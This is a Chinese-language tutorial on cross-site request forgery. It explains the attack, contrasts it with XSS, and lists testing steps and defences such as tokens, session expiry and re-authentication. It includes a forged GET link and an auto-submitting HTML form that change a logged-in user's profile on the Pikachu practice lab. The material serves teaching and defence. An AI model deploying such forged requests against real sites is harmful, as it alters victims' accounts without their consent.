CSRF漏洞概述
Cross-site request forgery简称为“CSRF",在CSRF的攻击场景中攻击者会伪造一个请求(这个请求一般是一个链接),然后欺骗目标用户进行点击,用户一旦点击了这个请求,整个攻击也就完成了。
所以CSRF攻击也被称为为" one click"攻击。
因此,我们判断一个网站是否存在CSRF漏洞,其实就是判断其对关键信息(比如密码等
敏感信息)的操作(增删改)是否容易被伪造。
CSRF与XSS的区别
XSS的攻击过程
如果小黑事先在xx网的首页如果发现了一个XSS漏洞,则小黑可能会这样做
1欺骗lucy访问埋伏了XSS脚本(盗取 cookie的脚本)的页面
2,lucy中招,小黑盗取到到lucy的 cookie
3小黑顺利登录到lucy的后台,小黑自己修改lucy的相关信息
所以跟上面比一下,就可以看出CSRF与XSS的区别
CSRF是借用户的权限完成攻击,攻击者并没有拿到用户的权限,而XSS是直接盗取到了用户的权限,然后实施破坏。
CSRF漏洞测试流程
1,对目标网站增删改的地方进行标记,并观察其逻辑,判断请求是否可以被伪造,
- 比如修改管理员账号时,并不需要验证旧密码,导致请求容易被伪造
- 比如对于敏感信息的修改并没有使用安全的 token验证,导致请求容易被伪造
2.确认凭证的有效期(这个问题会提高CSRF被利用的概率)
虽然退出或者关闭了浏览器,但 cookie仍然有效,或者 session并没有及时过期,导致CSRF攻击变的简单
CSRF(get/post)实验演示和解析
get
比如攻击者伪造一个修改个人信息的get请求发送给lucy,诱导其点击
http://192.168.1.4/pikachu/vul/csrt/csrfget/csrf_get_edit.php?
sex=girl&phonenum=18645436666&add=shanxi&email=lucy%40pikachu.com&submit=submit
如果该网站没有防csrf的机制,而此时lucy正处于登陆态,这个攻击就会达成,lucy的个人信息就会被修改.
post
对于post请求,其参数不在url中,需要我们部署一个站点,当目标访问这个站点时,会发送一个post请求,如下所示
<html>
<head>
<script>
window.onload = function() {
document.getElementById("postsubmit").click();
}
</script>
</head>
<body>
<form method="post" action="http://192.168.43.5/pikachu/vul/csrf/csrfpost/csrf_post_edit.php">
<input type="text" name="sex" value="girl"/>
<input type="text" name="phonenum" value="123456789"/>
<input type="text" name="add" value="China"/>
<input type="text" name="email" value="abc@163.com"/>
<input id="postsubmit" type="submit" name="submit" value="submit" />
</form>
</body>
</html>
将http://192.168.43.5/pikachu/vul/csrf/csrfpost/post.html发送给目标点击后,就会达到攻击效果
防CSRF的token
CSRF的主要问题是敏感操作的链接容易被伪造,那么如何让这个链接不容易被伪造?
-
每次请求,都增加一个随机码token(需要够随机,不容易伪造),后台毎次对这个随机码进行验证
在请求中加入token
后台会为每次请求生成一个token,加入session中,返回给前端,前端再次请求时需要加上这个token,后台会验证前端提交的token与session中的token是否一致.
后台代码
常见CSRF防范措施
增加 token验证(常用的做法)
1,对关键操作增加 token参数, token值必须随机,毎次都不一样
关于安全的会话管理(避免会话被利用):
1,不要在客户端保存敏感信息(比如身份认证信息);
2,测试直接关闭,退出时的会话过期机制;
3,设置会话过期机制,比如15分钟内无操作,则自动登录超时
访问控制安全管理
1,敏感信息的修改时需要对身份进行二次认证,比如修改账号时,需要判断旧密码;
2,敏感信息的修改使用post,而不是get;
3,通过ht头部中的 referer来限制原页面
增加验证码:
般用在登录(防暴力破解),也可以用在其他重要信息操作的表单中(需要考虑可用性
网友评论